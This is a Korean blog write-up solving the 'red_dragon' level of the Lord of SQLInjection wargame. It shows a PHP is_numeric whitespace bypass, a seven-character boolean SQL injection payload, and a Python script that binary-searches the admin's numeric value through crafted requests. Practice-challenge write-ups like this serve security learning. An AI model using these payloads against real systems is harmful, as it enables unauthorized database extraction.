본문 바로가기
Hacking/LOS : Lord of SQLInjection

LOS : red_dragon

by newbie22 2020. 10. 30.

< red_dragon 문제 모습 >

admin의 no값을 알아내는 문제 같습니다.

 

strlen을 통하여 id의 길이를 7 이하로 설정해두었습니다.

 

또한 no값을 is_numeric을 통하여 숫자가 아니면 1로 값을 변경하는 것을 확인할 수 있습니다.

 

no값만 얻을 수 있으면 된다고 생각하였습니다. 따라서 no=1, no=2... 식으로 brute force로 하면 될 거라고 생각하였습니다. no=34517까지 가기 전 까지는 ㅎㅎㅎㅎ

 

mysql binint의 범위를 검색하니 최댓값이 9223372036854775807가 나왔습니다. 따라서 일일이 증가하면서 찾는 것은 아니라고 판단하여 각 함수에 대해 검색해보았습니다.

 

is_numeric함수의 취약점을 찾는 중 다음과 같은 정보를 찾을 수 있었습니다.

 

github.com/w181496/Web-CTF-Cheatsheet

 

w181496/Web-CTF-Cheatsheet

Web CTF CheatSheet 🐈. Contribute to w181496/Web-CTF-Cheatsheet development by creating an account on GitHub.

github.com

is_numeric(" \t\r\n123")을 했을 때 참이라는 결과가 나왔습니다. 이는 no의 값에 공백, 탭, LR, CR를 넣을 수 있다는 것을 의미합니다.

 

즉, id='||no>#(정확히 7자리) 하고 no=%0a(숫자) 하면 쿼리는 select id from red_dragon where id='' || no> 숫자가 되면서 이진 탐색을 수행하여 =숫자보다는 빠르게 찾을 수 있습니다.

 

따라서코드는 다음과 같습니다.

 

더보기
import requests

#쿠키 설정
cookies = {'PHPSESSID': '쿠키 값'}

#기본 설정
start = 1
end = 9223372036854775807
now = int((start + end) / 2)
search = "<h2>Hello admin</h2>"

while(1) :
    parameter = "?id='||no>%23&no=%0a"+str(now)
    
    url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php" + parameter
    
    respond = requests.get(url = url,timeout = 10, cookies = cookies)
    
    sstr = respond.text
    
    result = sstr.find(search)
    
    if result != -1 :
        start = now
    else : 
        end = now
        
    now = int((start + end) / 2)
    
    if start + 1 == end :
        print("no : "+str(end))
        break;
< 실행결과 >

 

< 클리어 >

'Hacking > LOS : Lord of SQLInjection' 카테고리의 다른 글

LOS : frankenstein  (0) 2020.11.01
LOS : blue_dragon  (0) 2020.10.31
LOS : green_dragon  (0) 2020.10.28
LOS : hell_fire , evil_wizard  (0) 2020.10.27
LOS : dark_eyes  (0) 2020.10.27